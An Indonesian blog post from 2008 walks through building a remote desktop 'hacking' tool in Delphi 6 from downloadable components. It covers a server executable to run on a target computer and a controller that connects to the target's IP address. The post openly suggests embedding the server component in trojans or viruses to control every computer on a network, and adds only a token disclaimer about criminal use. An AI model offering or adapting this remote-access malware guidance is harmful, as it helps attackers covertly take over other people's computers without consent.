Maswie BloG

Free Delphi, Visual Basic, Microcontrol, Mechatronic tutorial

Desktop Hacking

Posted by maswie2000 on January 5, 2008

Syarat umum : Mengetahui pemrograman dasar delphi6.

Disini saya akan memberikan contoh sederhana untuk membuat tools hacking menggunakan Delphi6. Saya menggunakan komponen kontrol yang saya modif dari komponen lain untuk sekedar fungsi pengendalian Desktop komputer dijaringan.

Silahkan download komponennya disini.

DesktopHack, Terdiri dari dua buah komponen yaitu DesktopController dan DesktopServer.

Cara Install komponennya adalah :

  1. Ekstrak file DesktopHack.zip di harddisk anda.
  2. Buka folder tempat anda menyimpan Komponen DesktopHack
  3. Jalankan file DesktopHack.dpk
  4. Setelah itu aplikasi delphi6 terbuka dan klik install
  5. Setelah installasi selesai jangan lupa tambahkan library path komponennya.
  6. Menambahkan library komponen dilakukan dari menu Tools > Environment Options > Pilih Tab Library > Library Path > Cari Lokasi Folder Komponennya > Add.
  7. Komponen telah siap digunakan.

 Membuat aplikasi baru menggunakan delphi6 :

 A. Membuat aplikasi server target.

  1. Buka Aplikasi Delphi6 anda.
  2. File > New > Application. Selanjutnya akan tampil jendela form1.
  3. Buka Tab DesktopHack pada Component palette.
  4. Tempatkan komponen bernama DesktopServer pada form aplikasi anda.
  5. Double klik pada form1 anda.
  6. Isikan kode pada FormCreate sebagai berikut

procedure TForm1.FormCreate(Sender: TObject);

begin

DesktopServer1.OpenDesktop;

end;

  1. Simpan Proyek anda dengan cara Klik File> Save All
  2. Simpan didirektori yang anda inginkan selanjutnya beri nama project anda.
  3. Untuk mendapatkan program berekstensi exe dapat dilakukan dengan cara klik menu Project > Compile <NamaProjectAnda>, atau juga bisa dilakukan dengan Run Program.
  4. Program berekstensi exe terbentuk dilokasi folder tempat anda menyimpan program anda dan siap dijalankan dikomputer target kendali.
  5. Komponen DesktopServer ini dapat ditambahkan pada kode Trojan atau virus Delphi anda agar anda dapat mengendalikan desktop semua komputer dijaringan anda. Untuk caranya tentunya anda lebih tau dari saya he he he… 

B. Membuat Aplikasi pengendali.

  1. Buka Delphi anda dan tempatkan komponen TEdit dan Tbutton masing-masing 1 buah.
  2. Tempatkan komponen bernama DesktopController pada form aplikasi anda.
  3. Masukan kode dibawah pada event Button1Click.

 procedure TForm1.Button1Click(Sender: TObject);

begin

DesktopController1.AlamatIP := Edit1.Text;

DesktopController1.OpenDesktop;

end; 

  1. Simpan Program dilokasi yang anda inginkan dan selanjutnya compile program agar menghasilkan program exe nya.
  2. Komponen DesktopController berfungsi untuk meremote desktop komputer yang menjalankan aplikasi DesktopServer.
  3. Untuk mengendalikan desktop komputer lain bisa dilakukan dengan mengisikan alamat IP target pada edit text dan klik tombol button1 pada program pengendali anda.

 Jika anda masih mengalami kesulitan anda dapat menggunakan contoh programnya yang dapat anda download disini.

 Selamat Mencoba semoga berhasil !!!

 Contoh Program hanya untuk sarana pengetahuan, untuk kepentingan kriminal resiko ditanggung pemakai.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: